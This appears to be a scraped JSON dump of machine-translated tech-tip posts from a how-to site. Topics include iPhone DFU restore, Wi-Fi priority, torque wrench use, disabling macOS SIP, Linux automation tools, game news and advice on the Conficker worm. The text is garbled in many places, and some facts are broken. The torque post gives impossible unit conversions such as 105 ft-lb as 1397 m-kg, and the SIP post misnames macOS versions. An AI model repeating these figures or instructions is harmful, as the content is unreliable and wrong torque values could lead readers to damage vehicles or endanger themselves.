seconds. Finally you release both buttons. iPhone 7 and 7 Plus:\nConnect your iPhone to your computer with a USB cable. Hold and press the Volume Down button and the side button. After 8 seconds, continue to hold the Volume Down button and release the side button. iPhone 6s and earlier:\nConnect your iPhone to your computer with a USB cable. Hold and press the Home button and the power button. After 8 seconds, keep holding the Home button and release the power button to enter DFU Mode. Before starting the restore, you must make sure that your iPhone is connected to a stable PC so that there are no errors. In DFU Mode, you won't see anything on the phone screen, but iTunes will automatically detect the device and show a notification. At this point, you just need to click OK to automatically restore the system.\n  6. Contact Apple to restore iPhone In some cases where the iPhone phone hangs with the heavy apple logo, you will not be able to fix the error yourself at home, but need Apple's intervention. Currently, Apple has its own support team for users through authorized centers/stores. Apple's experienced technical staff will help you solve the problem of hanging Apple logo on the screen quickly. In Vietnam, to fix the logo hang error, you can go to authorized stores such as FPT Shop, Mobile World.\nIn this article, TipsMake has shared with you some simple and quick solutions to fix the iPhone error that hangs with the Apple logo. Keep in mind that these iTunes restore methods will erase all data on your phone. But third-party software like Tenorshare ReiBoot has the ability to restore iPhone while keeping data intact. So, when you need to restore your iPhone to fix errors, prioritize tools like Tenorshare ReiBoot.\niphone hangs ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqqvMeopZ5llae%2FsL6MsKCtoF2WvbG4xGajqJ%2BfYsC1wcKk\n","link":"/post/how-to-fix-iphone-error-with-apple-logo-stuck/","section":"post","tags":null,"title":"How to fix iPhone error with apple logo stuck"},{"body":"Wifi has become popular, you can even use different services to find free Wi-Fi hotspots near you. Although this is very beneficial, it also means there are too many competing signals in the same space.\nThe phone considers different factors such as signal strength, Wifi security level, network stability, etc. and then connects to the Wifi network that it thinks is best. However, among many WiFi access points, your phone may sometimes have trouble deciding which network connection.\nInstall laptop to prioritize wired network connection Fortunately, you can control this process by prioritizing the Wifi network, thus ensuring that your smartphone connects to the best available Wifi network. This can help you achieve consistent connectivity and smooth transition between available Wifi networks. This article will show you how to set up Wi-Fi network priority on Android devices as well as on iPhone.\nHow to set up Wifi network conveniently on Android and iPhone Set up Wifi network priority on Android device Set network priority using built-in settings Set up network priority using WiFi Prioritizer  Set up Wifi network priority on iPhone Set up Wifi network priority on Android device Android has two ways you can perform depending on the device you have. You can try the built-in installation search and if that doesn't work, try the other option.\nSet network priority using built-in settings Some custom Android ROMs (like CyanogenMod) come in pre-set to set up Wifi network priority mode. To check if you have a ROM, open Settings\u0026gt; Wi-Fi . Touch the menu that appears, then touch Advanced Wi-Fi . If you see the Wi-Fi Priority option , you can specify the Wifi network priority.\nThe original Android does not have this integration option. But don't worry, you can use third-party applications to do this.\nSet the network priority using WiFi Prioritizer WiFi Prioritizer is a free application that allows you to set up Wifi connection priority on Android devices. It monitors periodically about signal strength and transfers between respective Wifi networks.\n  After installing the application, open it and enable Enable Scheduled Job . You will see a list of all saved Wi-Fi networks. Networks on the top of the list have a higher priority than networks at the end. Here, you can drag networks in the order you want to connect to them.\n  By default, it scans the new Wifi network with every 60 seconds and prioritizes network switching. If you want to change the refresh time, click the menu that appears and then click Settings . Click Refresh Interval and set the time from 5 seconds to 30 minutes. Lower values ​​will allow for faster conversion but will consume battery power.\n  In the same settings, you can change the minimum signal strength to connect to the network. If the network has a higher priority and if a signal is better than this value it will switch to a higher priority network. It can also check Internet connection on the current network. Without an Internet connection on the current network, it will automatically switch to the next available network.\nIf you want to disable WiFi Prioritizer, you can disable Enable Scheduled Job . To turn it off permanently, simply uninstall the application.\nDownload : WiFi Prioritizer (Free)\nSet up Wifi network priority on iPhone There is no way to set the priority of Wifi network directly on iPhone. However, if you have a Mac, you can prioritize networks on Mac and then synchronize it with your iPhone.\n  Before continuing, be sure to log in with the same Apple ID on both devices. Also, make sure iCloud Sync is turned on. To do this, open System Preferences on your Mac. Click iCloud and make sure the Keychain is selected.\n  On your iPhone, open Settings and click on your account avatar at the top. Navigate to iCloud \u0026gt; Keychain and turn on.\nYou can refer to the following article to know how to prioritize Wifi networks on Mac: How to set up preferred WiFi connection mode on Mac.\nNow, your priority will be saved and then fully synchronized with the iPhone. If you're having trouble syncing them to your iPhone, please review that you're signed in with the same Apple ID on both enabled iCloud Keychain and devices.\nAlthough this method is not too difficult, it depends on the Mac, so it is quite inconvenient. There's no denying that Mac and iPhone work together nicely, but it won't allow iPhone users to use Windows. Hopefully, Apple will soon have a way to change the preferred Wifi network directly on the iPhone.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIywoJ%2BhXaW%2FqrvRoquyZZ2ksaZ5zqdkmqaUp7yqsIyapZ1lmaW1sLrE\n","link":"/post/how-to-set-up-wifi-priority-mode-on-android-and-iphone/","section":"post","tags":null,"title":"How to set up Wifi priority mode on Android and iPhone"},{"body":" A torque wrench is a special tool designed to accurately tighten nuts and bolts to specific levels. It is almost universally used to work on cars and bikes, and it can only be used to tighten something. Torque wrenches are adjusted by...\nMethod 1of 3:\nAdjusting the Torque Wrench  Loosen the tightener at the end of the wrench's handle. Look at the end of your wrench's handle to find the tightener that locks the settings in place. It is usually a plastic or metal cap that is stuck into the end of your wrench. Often, it is a different color than the rest of your wrench as well. Twist it counterclockwise by hand to loosen the piece so that you can change the wrench's settings.[1] You don't need to take it off of your wrench, just loosen it until you don't feel a ton of resistance.   Find and identify the torque measurements on your wrench. Inspect the area near your handle to find the hash marks for the torque setting. There will be 1 set of larger numbers on the body of the wrench and 1 set of smaller numbers on the handle. The smaller numbers are the smaller digits, while the larger numbers are the larger units.[2] Torque is measured in foot-pounds or meter-kilograms (ft-lb or m-kg). Your torque wrench will list 2 sets of numbers on the wrench's hash marks. The lower number is the measurement in foot-pounds. The larger number is the measurement in meter-kilograms. The vertical location of the edge of the handle determines the baseline while the rotation of the handle determines the smaller digits. There is a center line on the wrench to show where the handle is set. For example, if the edge of the handle is on the hash mark for 100, and the smaller number on the handle itself is turned to 5, the torque setting for the wrench is 105 ft-lb (1397 m-kg).   Turn the dial to raise or lower the torque setting on the wrench. With the tightener loosened, brace the body of the wrench with your nondominant hand. Turn the handle clockwise to raise it, or counterclockwise to lower it. Once you reach the desired hash mark, stop turning the handle.[3] If you need to reach a specific number, raise the handle to the hash mark that is within 5 ft-lb (200 m-kg) of your number. So if you know you need to reach 140 ft-lb (1860 m-kg), raise the handle to the hash mark between 135-145 ft-lb (1795-1928 m-kg). Some torque wrench handles are slide up and down instead of twisting into place. Tip: Refer to your car or bike's manual to determine how much torque a nut or bolt requires to be safely set. There are no universal rules for torque settings on vehicles.\n  Twist the dial on the handle to make minor adjustments. Once you're close to the desired number, turn your attention from the height of the handle to the dial itself. Follow the readings as you turn the handle slowly. As you turn clockwise, the number goes up. As you turn counterclockwise, the number goes down.[4] There are a few negative numbers after 0 so that you can move down a little as well. On some wrenches, the dial moves independently of the handle and you can twist it by turning the dial, not the handle.   Add the smaller digit on the handle to the number on the larger hash mark to determine total torque. Once you've adjusted the handle's height and twisted the dial, calculate your total torque to ensure that it's accurately adjusted by adding the numbers together. Take the hash mark on your handle and add the number marked on the dial to get your torque. So if the dial reads 4, and the handle reads 50, your total torque is 54 ft-lb (718 m-kg).[5] You add the negative numbers as well. For example, if your hash mark is 120 and the dial is -2, you add 120 to -2 to get 118 ft-lb (1569 m-kg).   Screw the tightener back into the end of the wrench by hand to lock it. To lock a torque setting into the wrench, flip it back over to the handle. Brace the wrench in your nondominant hand to keep it still. Twist the tightener clockwise by hand until it won't move any more. This will lock the handle in place.[6] Once you lock the tightener, you cannot adjust your torque setting.  Method 2of 3:\nTightening Nuts and Bolts  Put your socket on the head of your wrench. To use your torque wrench, start by sliding a socket that matches your nut or bolt into the head of your torque wrench. If you have an extender or adaptor that you're using, you can slide that into the opening at the head instead.[7] Torque wrenches come in different sizes, but the sockets are almost always interchangeable. Torque wrenches are expensive, so they rarely come in a single size.   Turn the nut or bolt by hand until it catches the threading on the screw. Take the nut or bolt that you're going to tighten and place it over the threading for the screw or opening on your vehicle by hand. Turn the vehicle's nut or bolt clockwise with your fingers until the threading catches the threading on the screw. Turn the nut or bolt until it won't turn by hand anymore.[8]\nWarning: You should not use a torque wrench to make the threads initially catch. Torque wrenches provide a lot of power and if your nut or bolt isn't perfectly aligned with the screw you could destroy the threading on both of them.\n  Fit the socket on top of the nut or bolt that you're tightening. With the nut or bolt set on the threading, hold the handle of the torque wrench in your nondominant hand. Use your dominant hand to guide the socket, adaptor, or extender on to the nut or bolt. Slide the wrench over the nut or bolt until the 2 pieces are flush.[9]\n  Turn the handle clockwise to tighten the nut or bolt. Rotate the handle clockwise to begin tightening the nut or bolt. Almost all torque wrenches have automatic return functions so you don't need to reposition them on the nut or bolt. For this type of wrench, simply move it counterclockwise to reset it. If you have a manual wrench, reposition it on the nut or bolt to continue torquing it down.[10] If you hear a clicking or switching noise when you return the handle counterclockwise, you have an automatically-returning torque wrench.   Stop turning the wrench when it starts clicking or stops moving. If your automatic wrench clicks when you're returning it, keep tightening the nut or bolt. If it starts clicking when you turn it clockwise though, stop tightening the nut or bolt. The clicking noise while tightening indicates that you have reached your desired torque level. On a manual wrench, stop turning it when you feel the wrench resisting.[11] So if you have the handle adjusted to 100 ft-lb (1330 m-kg) of torque, the bolt is tightened to that level the moment it starts clicking when you try to tighten it. Manual wrenches will simply stop moving after the nut or bolt has been turned to the intended level of torque.  Method 3of 3:\nMaintaining Your Wrench  Dial the wrench back to zero when you're done using it. When you're done using the wrench, turn both dial settings on the handle back to 0. Leaving the dial turned to a torque setting higher than 0 can throw the calibration off over time.[12] Turning the wrench to negative numbers is equally as bad for your wrench.   Clean dirty or rusty nuts or bolts before loosening them. One of the easiest ways to damage your wrench is to allow rust and grime buildup inside your sockets. This makes it harder for your torque wrench to get an adequate grip on the socket and can cause a lot of problems over time. Clean each bolt or nut that you plan on tightening with a towel or rag before attaching your wrench.[13] Torque wrenches aren't meant to be lubricated. Get any grease or lubricant off of your bolt or nut by using a degreaser before attaching a socket.   Get your wrench calibrated at least once a year. Unless you have years of experience working on cars, it's best to have a mechanic or torque wrench specialist calibrate your torque wrench for you. When using your torque wrench, a discrepancy will naturally develop between the measurements on your handle and the actual torque of the wrench. Fix this problem and prevent dangerous scenarios by getting your wrench calibrated once a year.[14] Calibration usually costs between $25-75 USD. Tip: The rule of the thumb is that you need a calibration once a year or once per 50,000 clicks. If you work on cars or bikes every single day, you probably reach 50,000 clicks after 8-10 months. If you're a DIY enthusiast though, you're unlikely to hit 50,000 clicks before the year is up.\n  Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiedOoqaqtlWLEs7HNnJ8%3D\n","link":"/post/how-to-use-a-torque-wrench/","section":"post","tags":null,"title":"How to Use a Torque Wrench"},{"body":"Cookies on the Google Chrome browser are files created when users visit websites with information to help you maintain your login status, saving you the ability to revisit the website. Users can completely check which website's cookies in a separate management interface on Chrome. From there you can easily delete all cookies on Chrome to speed up Chrome browsing, or if you want, you can also delete cookies by site. The following article will guide you how to manage cookies on Chrome browser.\nInstructions for managing cookies on Chrome Step 1:\nAt the interface on Chrome browser, click on 3 vertical dots and then click Install . The user then clicks on Privacy and Security . After that, you continue to choose Website settings to see more extended information.\n  Step 2:\nSwitch to the next interface, users click Cookies and Web page data to see more Cookie options on Google Chrome.\n  Continue to click View all Cookies and Website data to check cookies on Chrome.\n  Step 3:\nThe cookie list is broken down into different websites so we can check and manage it more easily. To delete all cookies , click Delete all . To delete cookies by website, click the trash icon at that site.\n  Step 4:\nTo disable cookie storage on Google Chrome , return to the Cookies interface and Web site data. Look down below, we turn off  enable at Allow sites to save and read cookie data and Block third party cookies .\nIn addition, we can also delete Google Chrome cookies automatically if you want to save website cookies.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6ZmsRur86ooqKdo2K8r3nGqKagpJVisKm%2Bzqac\n","link":"/post/how-to-view-cookies-on-google-chrome/","section":"post","tags":null,"title":"How to view cookies on Google Chrome"},{"body":"Creating a chart will help you easily track and compare data from a table that includes lots of numbers. Excel always provides an easy tool for you to create charts from existing data tables and in Excel 2007 it will become easier.\nWatch video tutorial here .\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabopqutbXNoGScoJGnwbR5yKdknrCTmrlufo9pbg%3D%3D\n","link":"/post/instructions-for-creating-charts-in-excel-2007/","section":"post","tags":null,"title":"Instructions for creating charts in Excel 2007"},{"body":"On the occasion of \"Free Play Days For All\", Microsoft decided to give away two free games PUBG and PES 2019 for free until November 11 for players who own Xbox One.\nPUBG is an acronym for PlayerUnknown's Battlegrounds, one of the most popular titles in the world. This game is storming the world's game charts with nearly 50 million copies sold, including 227 million regular monthly players and over 400 million players on every platform.\n  In the PUBG game, players will have to fight 99 other players on an island to survive. In particular, there is a circle in the game, which will be collected after each wave and you will lose blood to death if you are outside the circle.\nTypes of energy drinks in PUBG Heal items for gamers in PUBG These accessories are indispensable in PUBG Bullets for each type of gun in PUBG How to use smoke bomb effectively in PUBG PES 2019 - Pro Evolution Soccer 2019, is a football game that many gamers love. PES 2019 is the 19th version of the PES series with the participation of many countries such as Belgium, Scotland, Denmark, Switzerland, Russia, Portugal .\n  The original price on Microsoft Store of PUBG version for Xbox One is US $ 29.99 and PES 2019 is US $ 59.99. During the period from today until November 11, 2018, those who own Xbox One can permanently receive these two cult titles for free.\nLink to receive game PUBG and PES 2019 is completely free.\nPlay PLAYERUNKNOWN'S Full Product Release free for a limited time Play PRO EVOLUTION SOCCER 2019 free for a limited time See more:\nFree demo of super HOT football game - PES 2019, invite download and experience Invite to Destiny 2 - one of the 2017 super-blockbusters, free Offers Distraint: Deluxe Edition, great psychological horror game, is free on Steam ncG1vNJzZmismaXArq3KnmWcp51ktq%2FCyK2cZmpdqbKzvsibo55ll5a6pr%2BMqaybn12Wu6V5z56qZmpgZoZurdGeZJ%2BqlZp6p7vRZq%2Bbp6hivK%2BxjKilZqWZmL%2Bwv86fq2arpKS%2Fpg%3D%3D\n","link":"/post/invite-2-terrible-games-pubg-and-pes-2019-are-free-for-xbox-one-on-microsoft-store/","section":"post","tags":null,"title":"Invite 2 terrible games PUBG and PES 2019, are free for Xbox One on Microsoft Store"},{"body":"According to information from VNPT, on December 23, the AAG submarine cable route connecting from Hong Kong to Vietnam has been overcome but in the same day, the APG submarine cable route met the number on the branch from Vietnam Singapore caused about 10% of Internet traffic from Vietnam to be affected internationally.\nFrom the beginning of 2017 until now, this is the second time the APG cable has encountered a problem, for the first time on June 20.\n  APG marine fiber optic path.(Photo: Internet).\nThe cause of the incident has not been determined. Currently VNPT is actively coordinating with partners to learn and plan to fix incidents on the APG submarine cable route as soon as possible.\nThe APG international optical fiber route has a total length of about 10,400 km, which directly connects Asia - Pacific countries to major economies: the US, Australia, India and Africa. Since it was put into operation in mid-December 2016, APG is expected to contribute to a stable transmission with a larger capacity for Internet users in Vietnam, especially in the condition of sea cable routes. AAG has frequent problems.\nWith the ability to provide bandwidth up to 54 Tb / s, APG delivers approximately 20 times faster Internet speed than AAG.\nAPG is a sea cable line using the latest technology: 40Gbps / 1 wavelength (capable of switching to 100Gbps technology / 1 wavelength) that can meet exponential growth in Asia's broadband demand. .\nSee more:\nThe progress of troubleshooting AAG and SMW-3 submarine cable was prolonged until the end of December Why do sharks like to bite sea cable? After completing the sea cable line SMW3, the Internet returned to normal ncG1vNJzZmismaXArq3KnmWcp51kwamxjJqYoGWWnq%2Bmvoyop62hk2Kwoq7LnmShmaNit7a%2F02apnpufq7KzscNmmKmfXZ2utHnAZqerp5Khsq55wKCYoqY%3D\n","link":"/post/the-aag-fiber-optic-cable-has-just-recovered-apg-has-a-problem-again/","section":"post","tags":null,"title":"The AAG fiber optic cable has just recovered, APG has a problem again"},{"body":"Every new release of Apple's desktop operating system seems to pose more restrictions for users than the previous version. System Integration Protection - Protection of system integration (or SIP) can be the biggest change.\nWhen introduced with OS X 10.11 El Capitan, SIP is limited in the ability to modify certain folders for users. While some people condemn Apple's latest security technology as a means to control users, it turns out to be a good reason.\nThere are very few reasons to disable this feature. Let's find out through the following article.\nWhat is System Integration Protection (SIP)? SIP is a security feature designed to protect the most vulnerable parts of the operating system. In short, it prevents even a user with root access (using the sudo command) from modifying certain locations on the primary partition. This means keeping Mac users safe, like previous software restrictions introduced by Gatekeeper.\nThis may be a measure to cope with the growing number of threats from malware. Mac is now a big target for malware. It's not hard to find simple old ransomware, spyware, keylogger or adware targeting Apple's platform.\n  SIP protects some core areas of the drive where the operating system is installed, including / System, / bin, / sbin, / usr (not / usr / local). Some symbolic links from / etc, / tmp, and / var are also protected, although the destination directories are not. Safety measures prevent processes that do not have sufficient privileges (including administrative users with root access) to write to these directories and files stored inside.\nThis technology also prevents other 'risky' activities. Apple is concerned that changes made on these parts of the system could put your Mac at risk and damage the operating system. Blocking root administrator access to protect a Mac from sudo-level commands is done remotely and locally.\nSo why do users want to disable this feature? When the feature is first introduced, some applications rely on modifying certain protected folders or files that are no longer active. As a rule, these are 'invasive' modifications, changing the way many core elements of first-party operating systems and applications work. Certain backup and recovery tools and applications that are specifically handled through the operation of other devices are also affected.\nIf you want to use the software depending on the modification to work, you will have to turn off SIP first. There is no way to create an exception for a given application if it lacks mandatory privileges. This has led to speculation that the change will affect smaller developers who lack the means to work with Apple to ensure their software continues to function.\n  Although this may be true, many original applications that do not work on El Capitan have been rewritten to fit this operating system. Bartender is such an application. This is the means to clean up icons on the Mac menu bar. The Bartender initially only operated with OS X 10.10 and below, while the Bartender 2 worked with El Capitan and above. Default Folder X, another application designed to enhance Open and Save dialogs, has been completely rewritten for El Capitan and later versions. Now it works quite perfectly.\nNot all applications are completely rewritten and some applications still need to disable SIP to function. Fortunately, this is usually only temporary, as in the case of Winclone. This Boot Camp copy and backup solution requires users to disable SIP to write to protected areas of the drive. This feature can be turned on again later.\n  SwitchResX is another application that requires SIP to be disabled. It provides advanced control on the external monitor, based on the specific resolution specified in the protected file. Once the screen is configured, users can restore SIP until they need to make another change. Other applications such as XtraFinder (and many other applications that change the look and functionality of Finder) require this feature to be enabled with a decryption method using the csrutil command enable --without debug.\nDue to this change, some applications have stopped growing completely. Other applications only disable SIP temporarily, then reactivate. The main thing here is that it is very troublesome for applications to modify system interface or behavior or built-in features (such as Finder, Spotlight or dock), first to consumers. Most of Google 's quick search or passing through frequently asked questions is still enough.\nHow to disable SIP? If you decide to turn off SIP, be aware that your Mac is technically as safe as if you were running OS X 10.10 Mavericks. You will still need to provide root access to write to certain areas of the drive or require administrative rights. You can also re-enable SIP easily if you decide to do this later.\nMost Mac users will never need to disable SIP. In addition, you should enable this feature unless you encounter obstacles. If you need to make changes to a directory that is protected or using software without privileges, here's what to do to disable SIP:\nRestart the Mac by clicking on the Apple icon at the top left and selecting Restart . Hold Command + R while the Mac starts to enter Recovery Mode . Once the Mac has booted, go to Utilities and launch Terminal . Type csrutil disable and press Enter . Reboot the Mac as usual. All done! You can easily re-enable this feature by rebooting into Recovery Mode , launching Terminal and typing csrutil clear , then pressing Enter .\nHave you turned off SIP? You may be willing to take the opportunity and turn off SIP. Perhaps you don't want Apple to order what you can and can't change. An application may request to turn off SIP, or you prefer to tweak the system. If you have turned off this feature, we'd love to know why.\nThere are very few reasons to turn this feature off unless absolutely necessary. Remember, reinstalling macOS is capable of re-enabling this feature. It is also possible that Apple will continue to introduce security and control features with each new macOS release.\nSee more:\nSecure Mac network services Encrypt external drives on Mac OS X Lion Tips to increase security for Mac OS X ncG1vNJzZmismaXArq3KnmWcp51kxKnFjKyfqK2cmbu1ediorGacmaiuo7jEZquhnV2oxrTAxKZkoqakmrSztdOyZKmqn6mypMDIqKVmnpWWwba%2BxGamp2WknbJuucCc\n","link":"/post/why-shouldn-t-you-disable-the-system-integrity-protection-feature-on-the-mac/","section":"post","tags":null,"title":"Why shouldn't you disable the System Integrity Protection feature on the Mac?"},{"body":"We have entered the last month of 2019 and, as usual, the reputable market analysis company Netmarketshare has just released a statistical report on the market share of desktop operating systems as well as web browsers. Popularly used in November.\nOverall, it was a bit of a surprise that the November share of Windows 10 unexpectedly dropped slightly after months of keeping impressive momentum, while in the browser segment, 'rookie' Edge Chromium is still there. be steady strides.\nSpecifically in the array of desktop operating systems, in November, Windows 10 accounted for 53.78% of the global market share, down slightly from 54.30% in October. Market analysis and it is surprising that the platform has maintained a steady growth since the beginning of 2019. In addition, Windows 7 will officially be killed on January 14, 2020, and logically, the market share of Windows 10 as the final months of 2019 will be nearing the end of Windows 7's death. must grow sharply due to the large number of users switching from the old platform.\n  However, the decline in market share was the general trend for major operating systems in November when macOS also witnessed a decrease from 5.11% to 4.06% market share, while Windows 7 and Windows 8.1 also suffered similarly when it decreased slightly to 26.67% and 3.66%.\nRegarding the browser segment, there were not too many highlights when the big Google Chrome was still dominating the market with 67.30% market share, followed by Firefox with 8.61% and Internet Explorer at 7.43%. . The last place is Microsoft Edge with 6.23% market share - a slight increase compared to 6.09% of October market share.\n  Except for the sudden drop in Windows 10 market share, everything is still on track with Microsoft.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsSqusOorqxlYWXAbrnAq6KerF2otaK%2BxGasp52opbKkwMSdo7JllKe8sbzEnWSenJeaeqyxz61koKqfrLavsw%3D%3D\n","link":"/post/windows-10-s-market-share-unexpectedly-dropped-edge-kept-growing/","section":"post","tags":null,"title":"Windows 10's market share unexpectedly dropped, Edge kept growing"},{"body":"Chances are that among the many user tasks resolved on your computer, there are some repetitive tasks. Why should you delete the same file type manually or enter the same email multiple times? With some useful tools below, users will no longer have to do such things manually.\nThe following 4 automation applications allow users to focus on more important things, instead of tedious tasks. These tools help users save time and effort to make other things more meaningful.\nThe tasks in Linux will be automated with the following applications: Why should users automate tasks? 4 Linux automation applications to streamline tasks 1. Actiona 2. AutoKey 3. Texpander 4. Gnome-Schedule  Why should users automate tasks? The power of automation can help users save a lot of time and simplify every task. Improving productivity can be programmed into a computer with just a few clicks.\nHere is what users can handle with some applications in this list:\nDelete files on the desktop on the date set. Send one or more emails just by pressing a single button. Automatically insert text into emails and documents without retyping the text content each time. That's just the basics. Users can find more ways to improve life through automation software.\n4 Linux automation applications to streamline tasks 1. Actiona   Actiona is one of the most complex applications on this list. Actiona allows users to automate clicks, edit files and more. This tool is like a combination of Automator software included in macOS and applications like AutoHotKey, in terms of available functions.\nFor most of what users do in Actiona, the visual editor can be used to combine certain actions. An example is reading the contents of the file and copying it to the clipboard, or reading the clipboard and if it contains the URL, the URL will open in the browser. Of course, these are extremely simple examples.\nActiona can also control windows, cancel processes, or call and end commands. Users can also use Actiona to display messages and reminders, create interactive workflows. If you are an advanced user, you can write JavaScript code to make Actiona even more powerful. At a certain time, the only limit is the user's imagination.\nThis app has been around for many years and it looks like nothing stands out. However, if you're looking for a customizable automation tool, this is one of the best tools you can find for Linux.\nDownload Actiona (Free).\n2. AutoKey   Users can automate everything that needs to be entered multiple times, to save time.\nEntering 3 or 4 characters instead of a few sentences at a time can help your hands avoid unnecessary stress. Although applications such as TextExpander and PhraseExpress also provide this functionality for Mac and Windows respectively, only AutoKey can complete this task on Linux. Although it may not be as popular as TextExpander and PhraseExpress, AutoKey does not lack the same features.\nEntering a long text string by entering a shorter string called text expansion. Simple Text expansion in AutoKey: Create snippets (or snippets) of frequently entered content, then choose how to activate them, either with a hotkey or an acronym. For example, entering the letters 'adr' can expand to enter the home address.\nAutoKey is a free, active tool developed and can help users save a lot of time. The only thing to note is that because AutoKey is dependent on X11, it currently does not have full functionality on distributions using Wayland instead of Xorg.\nDownload AutoKey (Free).\n3. Texpander   Texpander is another example of text expansion on Linux, but the operation is slightly different than AutoKey. Therefore, Texpander may be a good choice if AutoKey cannot be used for the reasons listed above or if looking for a slightly lighter tool. But in return, users will need to manipulate a bit more to make Texpander work.\nWhile AutoKey is a fully developed application, Texpander is just a relatively simple Bash script that provides similar functionality. The user assigns a shortcut to the script, then a dialog similar to what is seen from a launcher application for Linux will appear. Next, the user enters the abbreviation as with other text expansion software.\nThere will be no application interface to perform the management of snippets at all. Instead, users only need to create text files in the .tExander folder, located in the main directory. For example, if the user keeps his email signature in a text file named sig.txt, entering 'sig' in the Texpander dialog will insert the contents of this file.\nAlthough not as AutoKey, but Texpander also has some advantages. Specifically, Texpander does not rely on a specific back-end to work. This avoids problems with Wayland that AutoKey has encountered and also means that it works in Firefox and Thunderbird, while AutoKey does not.\nDownload Texpander (Free).\n4. Gnome-Schedule   If there is any action you want to occur at a certain time or day, such as creating a set of files, mount or unmount the drives or other actions, you may have heard about cron. . This is the default way to do any task that requires scheduling on Linux, but editing the crontab file is not really easy. If you are not used to Linux, this task may seem complicated.\nGnome-Schedule allows users to use cron to schedule tasks in a much easier way. Instead of the usual notation in the crontab file, which looks like 0 * * * * , Gnome-Schedule presents information in an easy-to-read format. If you want the task to happen every hour, just schedule it to run after every hour.\nIf you are an expert in editing crontab files, advanced mode will provide users with all the power without having to use vim to manually edit files. Users can even run Gnome-Schedule with root privileges. This will allow editing any user on crontab and at tasks. Being able to do everything in one place makes it easier for system administrators, as well as ordinary users.\nAnother handy feature is the calendar, which allows users to easily arrange future tasks. This application also has an applet panel with a drop-down menu to track scheduled tasks.\nDownload Gnome-Schedule (Free): http://gnome-schedule.sourceforge.net/\nIn short, the above tools perform the following tasks:\nActiona: This application allows users to automate everything from file management to window management and more. AutoKey: Say goodbye to typing the same email with a few different words every time you need to enter the same content. Texpander: Better control over the text expansion feature. Texpander has Actiona's editing capabilities. Theoretically, users can do more than that. Gnome-Schedule: Use the scheduling features that Linux users have loved for years without complicated setups. These applications meet many needs, but what if you are looking for ways to accomplish other tasks faster? The answer lies in the command line, as is the case with many Linux tasks. Please refer to the article: Basic Linux commands everyone needs to know for more details!\nWish you find the right tool!\nncG1vNJzZmismaXArq3KnmWcp51kgW64yKessWWRqsGwucCtoKimXZa9sbjInJitoZ%2BjwG7AzmaqraqVlrqttc2eZK2Zo6DA\n","link":"/post/4-linux-automation-applications-to-streamline-tasks/","section":"post","tags":null,"title":"4 Linux automation applications to streamline tasks"},{"body":"We have entered a new year, which means it's time to stop reminiscing about what just happened and start talking about all the great things to expect by 2020. Some online RPG names Big routes are trying to make a mark on iOS and Android.\nHere are the mobile games coming in 2020.\n1. Super Meat Boy Forever Platform: iOS, Android\nOne of the most important and influential indie games of the last decade, Super Meat Boy, is a fast-paced and challenging game. The task of the player is trying to overcome the levels and deadly traps.\nSuper Meat Boy Forever will build on the original game, this time using an algorithm to combine 7200 levels, offering different experiences every time you play. Gamers can expect a vibrant game style, a level of difficulty quickly increases and of course the interesting things when completing one more level.\n2. League of Legends: Wild Rift (League of Legends: Speed ​​of War) Platform: iOS, Android\nDownload League of Legends: Battle of Speed ​​for iOS - League of Legends: Battle of Speed ​​for Android With Dota Underlords successfully coming to iOS and Android in 2019, it's time for another big name in the MOBA game world to enter the competition. League of Legends game: Speedy War will make things a little different from the PC version, take you as a 'summoner', control a 'general' in a team of 5 people to destroy the enemies of Nexus .\nThe idea is to bring the skills and tactical nature of PC games, and simplify as necessary to be friendly to play on the phone.\n3. Path of Exile Mobile Platform: iOS, Android\nAs one of the most popular and popular online F2P role-playing games on PC, Path of Exile has become a dominant force in the gaming world. In this action role-playing game, you play the exiled to a dark fantasy kingdom, then combine with other players to complete missions and explore the world, while upgrading the character of yourself.\nThe mobile version looks quite similar to the PC version so far.\n4. Eve Echoes Platform: iOS, Android\nEVE Online has become one of the best MMOs that ever existed, giving players the freedom to run an entire universe of planets, space stations and intergalactic corporations.\nEve Echoes is a beautiful space-fighting and fighting game. Users expect a lighter version than the PC version but still have a certain depth and is important to be able to play on mobile devices.\n5. Diablo Immortal Platform: iOS, Android\nLike Path of Exile, Diablo Immortal will be a fast-paced, action-packed RPG. You can play with other people to adventure, explore dungeons and gain loads of great loot.\nInterestingly, Path of Exile will be coming to mobile RPG gamers by 2020.\nncG1vNJzZmismaXArq3KnmWcp51kgm61zqxkmqaUYq6vsNGooJ1ll5a6pr%2BMnKamoZ6cerS7zqdkoqZdZ31zfA%3D%3D\n","link":"/post/5-ios-and-android-games-coming-soon-in-2020/","section":"post","tags":null,"title":"5 iOS and Android games coming soon in 2020"},{"body":"Conficker is an extremely dangerous 'infamous' computer worm as well as extremely powerful dispersal in recent times. It is forecasted that on April 1, this worm will be upgraded to use a new communication mechanism with the hacker control server to receive orders to launch a new attack aimed at users . Here are seven things that security researchers recommend users should know to have an appropriate solution to protect themselves from infection with Conficker. First , the Conficker worm attacks the PC through a security vulnerability that arises in Windows RPC. This error was closed by Microsoft by emergency patch with code MS08-67 . If you have installed this patch, you can be assured. If not, it is best to install it as soon as possible. It can be said that Conficker is a big problem for Windows XP. Windows Vista is technically also a Windows PRC error, but the exploit code is not capable of running on this Windows operating system version. Therefore, the risk of hacked Windows Vista users is not high.    Secondly , Conficker worm spread mainly through online sharing. In addition, the worm has a built-in password cracking technique called \"Dictionary attack\". This type of attack is based on the most commonly used password list. These passwords are in turn tested with the system until the correct password is found. That's why when you find a self-executing file appearing on the shared drive, it means that you were attacked by Conficker. If the system is equipped with a good malware removal software, it will definitely detect Conficker. In case you don't know how to handle it, it's best to call the technical support staff. Thirdly , derived from the above number two factor, you will find a useful advice that always using a complex password that combines many characters has no obvious meaning. It is best to use a password that combines both letters, numbers and punctuation marks such as dots, commas, questions . Fourth , the Conficker worm is able to spread through the USB removable drive path. When manually copying to a USB drive, the Conficker worm will automatically create an Autorun file to allow the drive to automatically run every time it is connected to the PC. In fact, it is the Autorun file that controls Conficker to automatically execute infections whenever the USB drive is connected to the PC. In some cases Conficker is fake as an option to open a Windows Explorer window to view the entire USB drive contents in the standard Windows Autoplay window. But if your PC is equipped with a good 